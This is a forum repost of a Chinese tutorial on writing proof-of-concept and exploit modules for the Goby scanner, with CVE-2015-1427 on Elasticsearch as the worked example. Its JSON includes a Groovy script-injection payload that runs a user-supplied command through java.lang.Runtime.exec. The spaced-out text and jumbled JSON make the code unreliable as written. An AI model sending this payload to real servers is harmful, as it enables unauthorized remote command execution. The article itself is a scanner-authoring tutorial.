设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [17838] 2021-04-15_技术分享如何编写合格的PoC领取Goby ...
返回列表 发新帖
查看: 0|回复: 0

[17838] 2021-04-15_技术分享如何编写合格的PoC领取Goby红队专版

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-04-15_技术分享如何编写合格的PoC领取Goby红队专版 技 术 分 享   |   如 何 编 写 合 格 的   P o C   领 取   G o b y   红 队 专 版 原 创   z h z y k e r   G o b y S e c   2 0 2 1 - 0 4 - 1 5 收 录 于 话 题 # 技 术 分 享   , 3 # G o b y   红 队 专 版   , 1 G o b y 社 区 第 1 3   篇 技 术 分 享 文 章 全 文 共 ： 3 9 0 6   字       预 计 阅 读 时 间 ： 1 0   分 钟 前 言 ： 前 言 ： G o b y 已 经 上 了 某 榜 （ 滑 稽 ） 的 t o p 1 0 了 ， 足 以 证 明 G o b y 的 实 用 性 ， 众 所 周 知 G o b y 还 分 为 内 测 版 、 超 级 内 测 版 、 红 队 专 版 等 等 ， 其 中 最 强 大 的 莫 过 于 红 队 专 版 ， 但 红 队 版 的 获 取 是 严 格 限 制 的 ， 当 然 也 是 有 获 取 方 法 ， 这 里 分 享 如 何 通 过 编 写   P o C   获 取 红 队 专 版 。   0 1   准 备 环 境 准 备 环 境 G o b y 为 P o C 编 写 提 交 测 试 方 便 发 布 了 . . . 姑 且 叫 P o C 版 。 P o C 版 主 要 功 能 为 登 录 后 ， 可 以 在 线 提 交   P o C ， 无 需 再 提 交 到 邮 箱 。
然 后 还 有 两 个 连 接 ， 一 个 是 《 G o b y 漏 洞 编 写 指 南 》 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 还 有 《 G o b y 已 录 漏 洞 列 表 》 防 止 P o C 撞 车 ： h t t p s : / / s h i m o . i m / s h e e t s / h c o I p i k M z p s V K g a C / a o j n O /   0 2 第 一 个 第 一 个   G o b y   的 的   P o C 2 . 1   简 单 的 简 单 的   P o C   制 作 制 作 实 际 上 主 要 用 到 的 功 能 在 这 里 ：
上 图 就 能 看 到 自 定 义 P o C 的 界 面 样 子 了 ， 具 体 填 写 的 信 息 和 填 写 标 准 参 考 上 述 的 《 G o b y 漏 洞 编 写 指 南 》 ， 里 边 有 命 名 规 则 等 详 细 解 释 和 参 考 ， 然 后 就 是 R e q u e s t s 的 R e s p o n s e 处 理 ， G o b y 提 供 了 “ 测 试 ” 功 能 可 直 接 通 过 图 形 化 界 面 自 定 义 自 己 的 R e q u e s t s 。 这 里 以 C V E - 2 0 1 5 - 1 4 2 7 为 例 ， 再 完 整 的 R C E 中 一 共 需 要 发 送 两 次 R e q u e s t s 。
然 后 G o b y 的 P o C 编 辑 界 面 提 供 了 可 选 的 单 个 或 多 个 R e q u e s t s ， 也 提 供 了 A N D 和 O R 可 选 的 发 包 逻 辑 ， 方 便 发 送 多 个 R e q u e s t s 的 自 定 义 之 后 的 “ 响 应 测 试 ” 可 对 R e s p o n s e 进 行 判 断 可 选 有 返 回 状 态 码 ， H e a d e r 和 B o d y ， 大 家 按 照 自 己 需 求 点 一 点 即 可 。 C V E - 2 0 1 5 - 1 4 2 7 需 要 两 个 R e q u e s t s ， 再 来 一 个 即 可 ， 这 里 需 要 一 个 R C E 返 回 结 果 的 判 断 ， 对 于 轮 子 达 人 来 说 点 一 点 就 好 制 作 很 方 便 。
到 这 里 两 次 R e q u e s t s 好 了 ， 最 终 的 R C E 判 断 也 好 了 剩 下 就 是 测 试 P o C 可 用 性 了 ， 上 图 所 示 右 上 角 提 供 了 “ 单 i p 扫 描 ” 直 接 测 试 。 在 资 产 扫 描 完 成 的 界 面 ， 输 入 q u e r y 点 击 放 大 镜 可 以 进 行 资 产 匹 配 ， 用 来 确 定 自 己 写 的 q u e r y 可 以 正 确 匹 配 。 但 是 仅 有 一 个 存 在 漏 洞 和 不 存 在 漏 洞 的 结 果 提 示 ， 这 个 查 询 界 面 并 没 有 显 示 R e s p o n s e ， 所 有 如 果 怀 疑 自 己 的 P o C 有 问 题 还 需 要 自 己 抓 包 去 看 ， 而 且 多 次 R e q u e s t s 时 仅 显 示 第 一 个 R e q u e s t s （ 所 以 建 议 该 功 能 有 待 完 善 ） ， 我 再 测 试 P o C 时 无 奈 一 直 在 W i r e s h a r k 抓 包 看 的 ， 比 较 麻 烦 。 再 去 扫 描 中 测 试 一 番 ， 这 里 每 次 对 P o C 进 行 修 改 之 后 都 需 要 重 启 G o b y （ 点 左 下 角 的 重 启 也 行 ） 。
2 . 2   不 太 简 单 的 不 太 简 单 的 P o C 中 的 中 的 E x p 你 以 为 P o C 做 好 了 ？ 没 有 ， 一 半 了 ， 如 开 头 图 中 所 示 需 要 三 个 带 E x p 的 漏 洞 ， 所 有 自 己 的 P o C 必 须 要 E x p 功 能 ， 然 后 E x p 功 能 还 没 有 图 形 化 点 一 点 的 界 面 ， 而 《 G o b y 漏 洞 编 写 指 南 》 中 对 E x p 的 制 作 也 只 有 个 例 子 ， 没 看 到 详 细 解 释 （ 可 能 我 没 看 全 ） ， 但 是 有 一 个 T P 的 d e m o ， 通 过 这 个 d e m o 我 们 也 能 照 猫 画 虎 做 E x p 了 。 制 作 E x p 需 要 开 启 图 形 中 的 验 证 接 口 ， 你 会 好 奇 上 图 所 示 的 “ 验 证 ” 为 什 么 我 没 有 ， 需 要 去 手 动 编 辑 E x p 模 块 了 。 编 辑 器 中 可 以 看 到 你 的 P o C 的 j s o n 文 件 ， 默 认 的 H a s E x p 值 为 f a l s e ， 开 启 改 t r u e 即 可 ， E x p P a r a m s 则 是 前 端 需 要 传 递 给   E x p   的 参 数 ， 如 要 执 行 的 命 令 。 以 C V E - 2 0 1 5 - 1 4 2 7 为 例 需 要 自 定 义 命 令 ， 一 个 输 入 参 数 ， 需 要 将 E x p P a r a m s 改 为 ： 不 解 释 上 述 j s o n 了 直 接 感 受 一 下 效 果 ： " E x p P a r a m s " :   [         {             " n a m e " :   " c m d " ,             " t y p e " :   " i n p u t " ,             " v a l u e " :   " w h o a m i "         }     ]
现 在 为 止 G U I 中 已 经 开 启 E x p 了 ， 但 实 际 还 没 有 “ 验 证 ” 功 能 ， 需 要 再 回 到 “ 编 辑 器 ” 中 编 写 “ 验 证 功 能 ” ， 找 到 j s o n 中 的 E x p l o i t S t e p s 默 认 值 为 n u l l ， 继 续 以 C V E - 2 0 1 5 - 1 4 2 7 为 例 需 要 两 次 R e q u e s t s 修 改 为 ： " E x p l o i t S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " m e t h o d " :   " P O S T " ,                 " u r i " :   " / w e b s i t e / b l o g / " ,                 " f o l l o w _ r e d i r e c t " :   t r u e ,                 " h e a d e r " :   {                     " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e " ,                     " A c c e p t " :   " * / * " ,                     " C o n n e c t i o n " :   " c l o s e " ,                     " A c c e p t - L a n g u a g e " :   " e n " ,                     " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d "                 } ,                 " d a t a _ t y p e " :   " t e x t " ,                 " d a t a " :   " {   " n a m e " :   " c v e - 2 0 1 5 - 1 4 2 7 "   } "             } ,             " R e s p o n s e T e s t " :   {                 " t y p e " :   " g r o u p " ,                 " o p e r a t i o n " :   " A N D " ,                 " c h e c k s " :   [                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ c o d e " ,                         " o p e r a t i o n " :   " = = " ,                         " v a l u e " :   " 2 0 1 " ,                         " b z " :   " "                     }                 ]             } ,             " S e t V a r i a b l e " :   [                 " o u t p u t | l a s t b o d y "             ]         } ,         {             " R e q u e s t " :   {                 " m e t h o d " :   " P O S T " ,                 " u r i " :   " / _ s e a r c h ? p r e t t y " ,                 " f o l l o w _ r e d i r e c t " :   t r u e ,                 " h e a d e r " :   {                     " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e " ,                     " A c c e p t " :   " * / * " ,                     " C o n n e c t i o n " :   " c l o s e " ,                     " A c c e p t - L a n g u a g e " :   " e n " ,                     " C o n t e n t - T y p e " :   " a p p l i c a t i o n / t e x t "                 } ,                 " d a t a _ t y p e " :   " t e x t " ,                 " d a t a " :   " { " s i z e " : 1 ,   " s c r i p t _ f i e l d s " :   { " l u p i n " : { " l a n g " : " g r o o v y " , " s c r i p t " :   " j a v a . l a n g . M a t h . c l a s s . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " { { { c m d } } } "             } ,             " R e s p o n s e T e s t " :   {                 " t y p e " :   " g r o u p " ,                 " o p e r a t i o n " :   " A N D " ,                 " c h e c k s " :   [                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ c o d e " ,                         " o p e r a t i o n " :   " = = " ,                         " v a l u e " :   " 2 0 0 " ,
可 以 看 到 上 述 j s o n 中   R e q u e s t s   和 P o C 中 的 S c a n S t e p s 的 R e q u e s t s   是 一 致 的 ， 就 不 难 理 解 是 同 样 的 发 包 ， 只 不 过 一 个 在 S c a n S t e p s 一 个 是 E x p l o i t S t e p s ， 现 在 应 该 也 就 大 概 理 解 这 个 j s o n 的 大 致 功 能 了 ， 上 边 看 着 乱 简 化 一 下 ： 到 这 里 应 该 都 指 知 道 R e q u e s t s 用 来 发 包 ， R e s p o n s e T e s t 用 来 判 断 是 否 满 足 判 断 S e t V a r i a b l e 则 会 在 “ 验 证 ” 功 能 中 回 显 B o d y 。 我 在 看 官 方 提 供 的 E x p   d e m o 中 发 现 T P 的 R C E 去 掉 了 R e s p o n s e T e s t ， 我 也 跟 着 试 ， 结 果 只 发 送 第 一 个 R e q u e s t s 不 发 第 二 个 ， 后 续 找 @ g o 0 p 发 现 是 去 掉 了 R e s p o n s e T e s t 的 锅 。 最 后 控 制 一 下 R C E 的 回 显 ， T P 的 d e m o 中 S e t V a r i a b l e 写 的 是 : 这 里 的 效 果 就 是 显 示 整 个 B o d y 。 看 起 来 比 较 凌 乱 ， 不 过 S e t V a r i a b l e 中 也 有 过 滤 可 用 ， 例 如 r e g e x 去 正 则 。 到 这 里 一 个 带 E x p 的 P o C 就 制 作 好 了 ， 如 果 你 觉 得 P o C 逻 辑 编 写 没 为 题 但 又 怎 么 都 不 成 功 就 只 能 反 复 测 试 反 复 抓 包 了 ， 找 你 的 w i r e s h a r k 好 帮 手 ， 慢 慢 测 慢 慢 排 ， 最 终 完 整 的 P o C 一 定 出 的 来 。 上 述 的 P o C 完 整 例 子 在 ： h t t p s : / / g i t h u b . c o m / z h z y k e r / G o b y - P o C                         " v a l u e " :   " 2 0 0 " ,                         " b z " :   " "                     } ,                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ b o d y " ,                         " o p e r a t i o n " :   " c o n t a i n s " ,                         " v a l u e " :   " 4 6 0 f 7 c c b 5 8 3 e 2 5 e 0 9 c 0 f e 1 0 0 a 2 c 9 e 9 0 d " ,                         " b z " :   " "                     }                 ]             } ,             " S e t V a r i a b l e " :   [                 " o u t p u t | l a s t b o d y | r e g e x | ( ? s ) " l u p i n "   :   [   " ( . * ) "   ] "             ]         }     ] " E x p l o i t S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   { x x x x x x } ,             " R e s p o n s e T e s t " :   { x x x x x x } ,             " S e t V a r i a b l e " :   [ x x x x x x ]         } ,         {             " R e q u e s t " :   { x x x x x x } ,             " R e s p o n s e T e s t " :   { x x x x x x } ,             " S e t V a r i a b l e " :   [ x x x x x x ]         }     ] " S e t V a r i a b l e " :   [                 " o u t p u t | l a s t b o d y "             ] " S e t V a r i a b l e " :   [                 " o u t p u t | l a s t b o d y | r e g e x | ( ? s ) " l u p i n "   :   [   " ( . * ) "   ] "             ]
  0 3 总 结 总 结 仅 需 编 写 三 个 带 E x p 的 P o C 即 可 领 取 G o b y 红 队 版 ！ 小 手 半 天 抖 一 抖 小 手 半 天 抖 一 抖 ~ 红 队 专 版 拿 到 手 红 队 专 版 拿 到 手 ~ 最 新 最 新 G o b y 使 用 技 巧 分 享 使 用 技 巧 分 享 ： ： •   l i m b 0   |   如 何 利 用 G o b y 获 得 多 个 地 市 h v v 一 等 奖 •   梦 幻 的 彼 岸   |   A p a c h e   T o m c a t 样 例 目 录 s e s s i o n •   k i o   |   如 何 利 用 G o b y 将 防 守 单 位 打 出 局 •   b y t e s e c   |   从 致 远 O A - a j a x . d o 漏 洞 复 现 到 利 用 •   z z l y z q   |   利 用 G o b y 发 现 企 业 云 网 络 中 的 安 全 隐 患 更 多   > >     打 野 手 册 如 果 表 哥 / 表 姐 也 想 把 自 己 上 交 给 社 区 （ G o b y   介 绍 / 扫 描 / 口 令 爆 破 / 漏 洞 利 用 / 插 件 开 发 /   P o C   编 写 等 文 章 均 可 ） ， 欢 迎 投 稿 到 我 们 公 众 号 ， 超 级 内 测 版 等 着 你 们 ~ ~ ~ 阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:25 , Processed in 0.710300 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表